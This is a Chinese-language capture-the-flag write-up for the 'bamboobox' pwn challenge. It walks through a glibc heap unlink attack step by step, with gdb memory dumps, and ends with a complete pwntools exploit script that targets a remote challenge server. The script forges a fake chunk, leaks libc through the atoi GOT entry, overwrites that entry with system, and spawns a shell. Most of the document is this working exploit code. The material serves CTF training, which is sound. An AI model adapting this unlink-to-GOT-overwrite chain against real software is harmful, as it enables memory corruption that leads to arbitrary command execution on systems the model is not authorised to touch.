hitcontraining_bamboobox 堆技巧 unlink

目录

利用思路

  由于之前 house of spirit 时候已经逆向分析过,这里不再重复

利用过程

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)

ptr = 0x6020c8

fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += 'c'*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
edit(0,0x80,fake_chunk)

  首先在 chunk 0 构造一个 fake chunk ,并把指针分别置为 ptr-0x18 和 ptr-0x10 ,同时把 chunk 1 的 prev_size 给上 fak chunk 的大小,把 size 的 inuse 位置 0 ,这样在 free chunk 1 的时候,程序会误以为 fake chunk 为空闲的,从而触发 unlink 操作,将 ptr 指针置为 ptr - 0x18。

gdb-peda$ x /20xg 0x250c020
0x250c020:  0x0000000000000000  0x0000000000000051 chunk 0
0x250c030:  0x0000000000000000  0x0000000000000041
0x250c040:  0x00000000006020b0  0x00000000006020b8
0x250c050:  0x6363636363636363  0x6363636363636363
0x250c060:  0x6363636363636363  0x6363636363636363
0x250c070:  0x0000000000000040  0x0000000000000090 chunk 1
0x250c080:  0x626262626262000a  0x000000000000000a
0x250c090:  0x0000000000000000  0x0000000000000000
0x250c0a0:  0x0000000000000000  0x0000000000000000
0x250c0b0:  0x0000000000000000  0x0000000000000000
remove(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(0x602068)
edit(0,0x80,payload)

  free 掉chunk 1 后,改写 chunk 0 的内容为 atoi 的 got 表地址。

show()
r.recvuntil("0 : ")
atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
print "libc:",hex(libcbase) 
system_addr = libcbase + libc.symbols['system']
print 'system:',hex(system_addr)

  泄露 atoi 函数的地址,并计算 system 函数的地址。

edit(0,0x8,p64(system_addr))
r.recvuntil(":")
r.sendline("sh")

  将 atoi 的 got 表地址改为 system 地址,这样在主函数调用 atoi 函数时输入 sh ,就相当于执行 system('sh') 可以成功拿 shell 。

get flag

hitcontraining_bamboobox 堆技巧 unlink

exp 脚本

from pwn_debug import *

#context.log_level = 'debug'
pdbg = pwn_debug('bamboobox')
pdbg.local()
pdbg.remote('node3.buuoj.cn',26510)
#libc = ELF('./x64_libc.so.6')
r = pdbg.run('remote')
libc = pdbg.libc

def add(length,name):
    r.recvuntil(":")
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)

def edit(idx,length,name):
    r.recvuntil(':')
    r.sendline('3')
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(':')
    r.sendline(name)

def remove(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

def show():
    r.recvuntil(":")
    r.sendline("1")


add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)

ptr = 0x6020c8

fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += 'c'*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
edit(0,0x80,fake_chunk)

#gdb.attach(r)

remove(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(0x602068)
edit(0,0x80,payload)

#gdb.attach(r)

show()
r.recvuntil("0 : ")
atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
print "libc:",hex(libcbase) 
system_addr = libcbase + libc.symbols['system']
print 'system:',hex(system_addr)

edit(0,0x8,p64(system_addr))
#gdb.attach(r)

r.recvuntil(":")
r.sendline("sh")
r.interactive()

内容来源

https://github.com/bash-c/pwn_repo/blob/master/hitconTraining_bamboobox/bamboobox2.py

上一篇:JarvisOJ level3_x64


下一篇:welpwn